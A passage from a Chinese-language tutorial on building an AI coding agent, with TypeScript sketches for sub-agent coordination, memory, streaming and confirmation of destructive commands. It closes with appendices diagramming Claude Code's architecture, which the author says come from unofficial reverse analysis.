│ └── types.ts ← AgentTask / AgentResult 类型
核心代码:
// agents/runner.ts
// 关键:子 Agent 复用主 Agent 的 query 函数
async function runSubAgent(task: AgentTask): Promise<AgentResult> {
const subMessages: Message[] = [
{ role: 'system', content: SUB_AGENT_SYSTEM_PROMPT },
{ role: 'user', content: task.description }
];
// 复用主循环!只是输入不同
const result = await collectAll(agentLoop(subMessages, getTools()));
return { taskId: task.id, result };
}
// agents/coordinator.ts
class Coordinator {
private pool: WorkerPool;
async handleRequest(userMessage: string): Promise<string> {
// 1. 分析任务,决定是自己做还是派工人
const plan = await this.analyzeTask(userMessage);
if (plan.shouldDelegate) {
// 2. 派工人(并行)
const tasks = plan.subtasks.map(t => ({
id: generateId(),
description: t.description
}));
const results = await Promise.all(
tasks.map(task => runSubAgent(task))
);
// 3. 汇总结果
return await this.summarize(results);
} else {
// 简单任务,自己做
return await this.executeDirectly(userMessage);
}
}
}
通知协议(工人 → 协调者):
<!-- 工人完成后的标准通知格式 -->
<agent_result>
<task_id>task-001</task_id>
<status>success</status>
<summary>找到了 3 个相关文件并完成了分析</summary>
<details>
<file path="/src/auth.ts" finding="有 SQL 注入风险" />
<file path="/src/user.ts" finding="缺少输入校验" />
<file path="/src/api.ts" finding="CORS 配置过于宽松" />
</details>
<tokens_used>1523</tokens_used>
</agent_result>
验收标准:
- 协调者能把复杂任务拆成子任务派给工人
- 工人之间能并行执行
- 工人结果能正确汇总给用户
- 协调者本身不执行工具(只调度)
- 有嵌套深度限制(防止无限递归)
第六步:产品打磨(第六周)
目标: 把前五步串成真正能用的产品。这一周不做新功能,只做胶水和打磨。
优先级排序(按投入产出比):
P0 — 必须有(前 3 天):
1. 记忆系统
├── 对话结束时调 LLM 提取 3-5 条关键事实
├── 存为 memdir/{project}/{date}.md(纯文本,用户可读)
├── 新对话开始时语义检索 top-3 相关注入系统提示词
└── /memory 命令让用户查看/编辑/删除
// memory/index.ts — 记忆系统核心(~30 行)
class MemorySystem {
constructor(private memdir: string) {}
// 对话结束时自动调用
async consolidate(messages: Message[]): Promise<void> {
const extraction = await llmComplete([
{ role: 'system', content: `从以下对话中提取 3-5 条值得长期记住的事实。
格式:每条一行,以 "- " 开头。只记事实,不记过程。` },
{ role: 'user', content: messagesToText(messages) }
]);
const facts = extraction.split('\n').filter(l => l.startsWith('- '));
await fs.appendFile(this.todayPath(), '\n' + facts.join('\n'));
}
// 新对话开始时调用
async recall(query: string): Promise<string> {
const allFiles = await glob(`${this.memdir}/**/*.md`);
const contents = await Promise.all(allFiles.map(f => fs.readFile(f, 'utf8')));
const ranked = await semanticRank(query, contents);
return ranked.slice(0, 3).join('\n---\n');
}
// 用户审计入口
async list(): Promise<string> {
return await fs.readFile(this.todayPath(), 'utf8');
}
private todayPath(): string {
return path.join(this.memdir, `${new Date().toISOString().slice(0,10)}.md`);
}
}
P1 — 强烈建议(第 4-5 天):
2. 流式输出 + 进度指示
├── 工具调用时 yield "🔧 正在执行 BashTool..."
├── 并行工具同时显示多个进度
└── 危险操作前暂停,显示命令内容等用户确认
// loop.ts 中集成进度指示
for (const call of toolCalls) {
yield { type: 'tool_start', tool: call.name, args: call.args };
// 危险操作 → 确认
const tool = findTool(call.name);
if (tool.isDestructive?.(call.args)) {
yield { type: 'confirm', message: `⚠️ 即将执行: ${call.args.command}\n确认?` };
// 等用户确认...
}
const result = await tool.execute(call.args);
yield { type: 'tool_end', tool: call.name, result };
}
P2 — 有余力再做(第 6 天):
3. MCP 外部工具接入
├── 定义 McpTool 基类,自动把 MCP server 的工具注册为本地工具
└── 权限沿用现有三层防御体系
4. 监控日志
├── 每轮对话记录:token 用量、工具调用数、耗时
└── 异常事件写入 logs/ 目录,方便排查
验收标准:
- 跨会话能记住用户的偏好和项目上下文
- 用户能查看 Agent 记住了什么
- 支持 MCP 协议的外部工具接入
- 流式输出 + 进度指示 + 确认机制完整
- 有基本的监控和日志
六周总览
| 周次 | 交付物 | 核心文件 | 验收标准 |
|---|---|---|---|
| 第一周 | 能跑的 Agent Loop | loop.ts, tools/, llm.ts | 基本对话 + 3 个工具 |
| 第二周 | 工具系统完善 | tools/base.ts, tools/index.ts | 描述准确 + 参数校验 + lint |
| 第三周 | 权限系统 | permissions/ | 三层防御 + deny by default |
| 第四周 | 上下文管理 | context/ | 三级压缩 + token 追踪 |
| 第五周 | 子 Agent 编排 | agents/ | 并行执行 + 结果汇总 |
| 第六周 | 产品打磨 | memory/, 插件, UX | 跨会话记忆 + MCP + 流式输出 |
附录 A:Claude Code 完整架构总览
下面这张图覆盖了 Claude Code 的所有模块、它们之间的数据流和依赖关系。
┌─────────────────────────────────────────────────────────────────────────────────┐
│ Claude Code — 完整架构总览 │
│ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 入口层 (Entry Points) ║ │
│ ║ ┌──────────┐ ┌──────────┐ ┌──────────────┐ ┌─────────────────────┐ ║ │
│ ║ │ CLI │ │ SDK │ │ Remote Bridge│ │ IDE Extension │ ║ │
│ ║ │-t/--print│ │ query() │ │ claude.ai │ │ VSCode / JetBrains │ ║ │
│ ║ │interactive│ │ session()│ │ WebSocket │ │ Inline Suggestions │ ║ │
│ ║ └────┬─────┘ └────┬─────┘ └──────┬───────┘ └──────────┬──────────┘ ║ │
│ ╚═══════╪══════════════╪══════════════╪═════════════════════╪══════════════╝ │
│ └──────────────┴──────┬───────┴─────────────────────┘ │
│ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 核心引擎 (Core Engine) ║ │
│ ║ ║ │
│ ║ ┌─ query.ts ─────────────────────────────────────────────────────────┐ ║ │
│ ║ │ │ ║ │
│ ║ │ messages ──► streamLLM() ──► tool_calls ──► runTools() │ ║ │
│ ║ │ ▲ │ │ ║ │
│ ║ │ └──────── results ◄────────────────────┘ │ ║ │
│ ║ │ │ ║ │
│ ║ │ while (!done) { │ ║ │
│ ║ │ streamClaudeResponse(model, messages, tools) │ ║ │
│ ║ │ → collect tool_calls │ ║ │
│ ║ │ → runTools() // parallel read / serial write │ ║ │
│ ║ │ → append results to messages │ ║ │
│ ║ │ } │ ║ │
│ ║ └────────────────────────────────────────────────────────────────────┘ ║ │
│ ║ ║ │
│ ║ ┌─ 系统提示词 (System Prompt) ──────────────────────────────────────┐ ║ │
│ ║ │ 工具描述 │ 安全规则 │ 项目上下文 │ 操作指南 │ 输出格式要求 │ ║ │
│ ║ └───────────────────────────────────────────────────────────────────┘ ║ │
│ ║ ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
│ │ │
│ ┌─────────────────┼─────────────────┐ │
│ ▼ ▼ ▼ │
│ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │
│ ║ 工具系统 ║ ║ 安全层 ║ ║ 上下文管理 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ Tool.ts ║ ║ bashPermis- ║ ║ autoCompact ║ │
│ ║ (interface) ║ ║ sions.ts ║ ║ ↓ ║ │
│ ║ ║ ║ ║ ║ reactiveCompact ║ │
│ ║ ┌───────────┐ ║ ║ L1: AST解析 ║ ║ ↓ ║ │
│ ║ │ BashTool │─╫──╫─ L2: 精确匹配 ║ ║ contextCollapse ║ │
│ ║ │ FileRead │ ║ ║ L3: 前缀通配 ║ ║ ║ │
│ ║ │ FileEdit │ ║ ║ L4: 语义分析 ║ ║ tokenTracker ║ │
│ ║ │ FileWrite │ ║ ║ L5: 路径约束 ║ ║ 任务级 + 轮级 ║ │
│ ║ │ GlobTool │ ║ ║ L6: ML+沙箱 ║ ║ ║ │
│ ║ │ GrepTool │ ║ ║ ║ ║ compact_boundary ║ │
│ ║ │ WebSearch │ ║ ║ fail-safe: ║ ║ 标记 ║ │
│ ║ │ WebFetch │ ║ ║ 默认拒绝 ║ ║ ║ │
│ ║ │ AgentTool │ ║ ╚═══════════════╝ ╚══════════════════╝ │
│ ║ │ MCPTool │ ║ │ │ │
│ ║ │ TodoWrite │ ║ │ │ │
│ ║ │ SkillTool │ ║ │ │ │
│ ║ └───────────┘ ║ │ │ │
│ ║ ║ │ │ │
│ ║ isReadOnly ║ │ │ │
│ ║ isConcurSafe ║ │ │ │
│ ║ isDestructive ║ │ │ │
│ ╚═══════════════╝ │ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 工具调度 (toolOrchestration.ts) ║ │
│ ║ ║ │
│ ║ 工具调用列表 ──► 按 isReadOnly 分区 ║ │
│ ║ │ ║ │
│ ║ ┌───────┴───────┐ ║ │
│ ║ ▼ ▼ ║ │
│ ║ 并行执行 (Promise.all) 串行执行 (顺序) ║ │
│ ║ isReadOnly=true isReadOnly=false ║ │
│ ║ isConcurrencySafe=true isDestructive=true ║ │
│ ║ │ │ ║ │
│ ║ └───────┬───────┘ ║ │
│ ║ ▼ ║ │
│ ║ 流式返回结果给用户 ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
│ │ │
│ ┌─────────────────┼─────────────────┐ │
│ ▼ ▼ ▼ │
│ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │
│ ║ 子 Agent 系统 ║ ║ 记忆系统 ║ ║ 扩展系统 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ runAgent() ║ ║ memdir/ ║ ║ MCP Servers ║ │
│ ║ └─ query() ║ ║ ║ ║ ├─ FileSystem ║ │
│ ║ (复用主循环) ║ ║ consolidate- ║ ║ ├─ GitHub ║ │
│ ║ ║ ║ Prompt ║ ║ ├─ Slack ║ │
│ ║ 内置 Agent: ║ ║ (自动提取) ║ ║ └─ 自定义... ║ │
│ ║ ├─ general ║ ║ ║ ║ ║ │
│ ║ ├─ explore ║ ║ findRelevant- ║ ║ Skills ║ │
│ ║ ├─ plan ║ ║ Memories ║ ║ ├─ /命令触发 ║ │
│ ║ └─ verify ║ ║ (语义检索) ║ ║ └─ 按需加载 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ 模式: ║ ║ 生命周期: ║ ║ Plugins ║ │
│ ║ ├─ Fork ║ ║ 创建→检索→ ║ ║ └─ 外部服务集成 ║ │
│ ║ │ (上下文继承)║ ║ 过期→删除 ║ ║ ║ │
│ ║ ├─ Coordinator║ ║ ║ ║ Slash Commands ║ │
│ ║ │ (多工人调度)║ ║ 可审计: ║ ║ └─ /compact 等 ║ │
│ ║ └─ Parallel ║ ║ 用户可查看/ ║ ║ ║ │
│ ║ (并行执行) ║ ║ 编辑/删除 ║ ╚══════════════════╝ │
│ ╚═══════════════╝ ╚═══════════════╝ │
│ │ │ │
│ │ ┌────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 基础设施 (Infrastructure) ║ │
│ ║ ║ │
│ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │
│ ║ │ Analytics │ │ Feature Flags│ │ Prompt │ │ Transcript │ ║ │
│ ║ │ (遥测) │ │ (A/B 测试) │ │ Cache │ │ (对话记录) │ ║ │
│ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │
│ ║ ║ │
│ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │
│ ║ │ tree-sitter │ │ JSON Schema │ │ 流式 SSE │ │ 错误恢复 │ ║ │
│ ║ │ (AST 解析) │ │ (参数校验) │ │ (响应格式) │ │ (重试/降级) │ ║ │
│ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
└─────────────────────────────────────────────────────────────────────────────────┘
附录 B:模块关系矩阵
这张表说明了各模块之间的依赖方向——行依赖列。
│ Loop │ Tools │ Safety │ Context │ Agent │ Memory │ Extensions │ Infra │
──────────────────┼──────┼───────┼────────┼─────────┼───────┼────────┼────────────┼───────┤
Loop (query.ts) │ ── │ → │ → │ → │ → │ │ → │ → │
Tools (Tool.ts) │ │ ── │ → │ │ │ │ → │ → │
Safety (perms) │ │ │ ── │ │ │ │ │ → │
Context (compact) │ │ │ │ ── │ │ │ │ → │
Sub-Agent │ → │ → │ → │ → │ ── │ │ → │ → │
Memory │ │ │ │ │ │ ── │ │ → │
Extensions (MCP) │ │ → │ → │ │ │ │ ── │ → │
Infrastructure │ │ │ │ │ │ │ │ ── │
→ 表示 "依赖" 或 "调用"
关键依赖链:
Loop ──→ Tools ──→ Safety(每个工具执行都经过权限检查)
│ │
│ ▼
│ Safety ──→ Infra (tree-sitter, 沙箱)
│
├──→ Context ──→ Infra (token 计算, 压缩算法)
│
├──→ Sub-Agent ──→ Loop(子 Agent 复用主循环)
│ │
│ └──→ Tools(子 Agent 使用相同的工具集)
│
├──→ Extensions ──→ Tools(MCP 工具注册为普通工具)
│ │
│ └──→ Safety(MCP 工具同样受权限检查)
│
└──→ Memory ──→ Infra (文件存储, 语义索引)
附录 C:从架构到代码的文件映射
architecture/ source/
├── Entry Points ──► ├── src/cli.ts
│ ├── src/sdk/index.ts
│ └── src/remote/
│
├── Core Engine ──► ├── src/query.ts ← 主循环
│ ├── src/streaming.ts ← 流式响应
│ └── src/messages.ts ← 消息处理
│
├── Tool System ──► ├── src/Tool.ts ← 接口定义
│ ├── src/tools/
│ │ ├── bash.ts ← shell 执行
│ │ ├── fileRead.ts ← 文件读取
│ │ ├── fileEdit.ts ← 文件编辑
│ │ ├── fileWrite.ts ← 文件写入
│ │ ├── glob.ts / grep.ts ← 搜索
│ │ ├── webSearch.ts ← 网页搜索
│ │ ├── agent.ts ← 子 Agent
│ │ ├── mcp.ts ← MCP 集成
│ │ ├── todoWrite.ts ← 待办
│ │ └── skill.ts ← 技能命令
│ └── src/toolOrchestration.ts ← 调度
│
├── Safety Layer ──► ├── src/bashPermissions.ts ← 权限入口
│ ├── src/permissions/
│ │ ├── rules.ts ← 规则匹配
│ │ ├── pattern.ts ← 模式匹配
│ │ ├── sandbox.ts ← 沙箱
│ │ └── classifier.ts ← ML 分类
│ └── src/constants.ts ← 黑白名单常量
│
├── Context Mgmt ──► ├── src/autoCompact.ts ← 自动压缩
│ ├── src/context/
│ │ ├── tracker.ts ← token 追踪
│ │ ├── budget.ts ← 预算管理
│ │ └── collapse.ts ← 上下文坍缩
│ └── src/constants.ts ← 阈值配置
│
├── Sub-Agent ──► ├── src/agents/
│ │ ├── runAgent.ts ← Agent 启动器
│ │ ├── coordinator.ts ← 协调者
│ │ ├── worker.ts ← 工人
│ │ └── types.ts ← 类型定义
│ └── src/prompts/
│ ├── coordinator.md ← 协调者提示词
│ ├── worker.md ← 工人提示词
│ └── agents/ ← 内置 Agent 提示词
│
├── Memory ──► ├── src/memory/
│ │ ├── consolidate.ts ← 自动整理
│ │ ├── retrieve.ts ← 语义检索
│ │ └── storage.ts ← 持久化
│ └── memdir/ ← 存储目录
│
├── Extensions ──► ├── src/mcp/
│ │ ├── client.ts ← MCP 客户端
│ │ └── server.ts ← MCP 服务端
│ ├── src/skills/ ← 技能目录
│ └── src/plugins/ ← 插件目录
│
└── Infrastructure──► ├── src/analytics.ts ← 遥测
├── src/featureFlags.ts ← 特性开关
├── src/promptCache.ts ← 提示词缓存
├── src/transcript.ts ← 对话记录
└── src/utils/ ← 工具函数
附录 D:数据流全貌
从用户输入到最终输出,数据经过的完整路径:
用户输入
│
▼
┌─────────────────┐
│ 1. 入口解析 │ CLI 参数 / SDK 调用 / IDE 请求
│ (Entry Point) │ → 解析为 messages[] + tools[]
└────────┬────────┘
│
▼
┌─────────────────┐
│ 2. 上下文准备 │ 加载记忆 → 合并项目上下文 → 生成系统提示词
│ (Context Prep)│ → 完整的 messages 序列
└────────┬────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 3. Agent Loop (while not done) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ messages ──→ streamLLM() ──→ tool_calls[] │ │
│ │ │ │ │
│ │ ┌────────────┼──────────┐ │ │
│ │ ▼ ▼ ▼ │ │
│ │ 只读工具 写操作工具 确认类 │ │
│ │ (并行执行) (串行执行) (等用户)│ │
│ │ │ │ │ │ │
│ │ └────────────┼──────────┘ │ │
│ │ ▼ │ │
│ │ ┌─── 安全检查层 ───┐ │ │
│ │ │ AST → 规则 → 语义│ │ │
│ │ │ → 路径 → ML → 沙箱│ │ │
│ │ └────────┬─────────┘ │ │
│ │ ▼ │ │
│ │ tool_results[] ──→ 追加到 messages │
│ │ │ │ │
│ │ ┌──────────────────────┘ │ │
│ │ ▼ │ │
│ │ 流式返回给用户 (部分结果实时可见) │ │
│ └──────────────────────────────────────────────────┘ │
└────────────────────┬────────────────────────────────────┘
│ (LLM 返回纯文本 → 循环结束)
▼
┌─────────────────┐
│ 4. 子 Agent 分支 │ 如果循环中触发 AgentTool:
│ (可选) │ → spawn sub-agent (复用同一套 loop)
│ │ → sub-agent 完成 → 通知父 Agent
│ │ → 结果并入 messages
└────────┬────────┘
│
▼
┌─────────────────┐
│ 5. 会话结束 │ 提取关键信息 → 存入记忆 → 写入 transcript
│ (Cleanup) │ → 清理临时资源
└─────────────────┘
关键数据流特征:
- 步骤 3 的并行/串行分区是整个系统性能的关键——只读工具并行、写操作串行,由工具元信息决定
- 安全检查是拦截层,不是决策层——工具调度已经分好区,安全层只做 pass/fail 判断
- 子 Agent 是循环嵌套——步骤 4 的 sub-agent 复用步骤 3 的同一套 loop,不是独立路径
基于 Claude Code 源码逆向分析。产品设计方法论提炼,非官方文档。
No comments to display
No comments to display